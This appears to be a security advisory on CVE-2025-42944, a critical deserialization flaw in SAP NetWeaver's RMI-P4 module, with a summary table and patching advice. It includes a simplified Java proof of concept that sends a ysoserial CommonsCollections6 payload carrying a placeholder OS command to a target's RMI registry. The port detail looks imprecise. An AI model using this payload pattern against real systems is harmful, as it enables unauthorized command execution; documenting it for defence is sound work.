Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability labeled as CVE-2025-42944. This risk lies within SAP NetWeaver, a popular technology platform that provides the technical foundation for many SAP applications. The vulnerability stems from a deserialization flaw that could be exploited through the RMI-P4 module, leaving systems open to potentially devastating cyberattacks.
The significance of this vulnerability cannot be overstated. Given the widespread use of SAP NetWeaver, this vulnerability has the potential to affect a vast number of businesses and organizations globally. Furthermore, successful exploitation could lead to arbitrary OS command execution, putting the confidentiality, integrity, and availability of systems and data at significant risk.
Vulnerability Summary
CVE ID: CVE-2025-42944
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
SAP NetWeaver | All versions prior to patch
How the Exploit Works
A vulnerability resides in the deserialization process of SAP NetWeaver. An attacker can exploit this by sending a malicious payload to an open port in the RMI-P4 module. Deserialization of this untrusted Java object could then trigger the execution of arbitrary operating system commands. In essence, this vulnerability could give an unauthorized user control over the system.
Conceptual Example Code
Here is a conceptual example that demonstrates how this vulnerability might be exploited. Note that this is a simplification for illustrative purposes and actual exploitation may require additional steps:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections6;
public class Exploit {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("target.example.com", 1099);
CommonsCollections6 payload = new CommonsCollections6();
registry.bind("malicious_payload", payload.getObject("os_command_to_execute"));
} catch (Exception e) {
e.printStackTrace();
}
}
}In this example, the attacker uses the ysoserial library to generate a malicious Java object, which contains an operating system command. This object is then sent to the target system via the RMI-P4 port (1099 in this case). If the target system deserializes this object, the embedded command is executed.
Mitigation Guidance
To mitigate the risk from CVE-2025-42944, users should apply the patch provided by SAP immediately. Until the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block exploit attempts. It is also recommended to disable the RMI-P4 service if it is not in use.
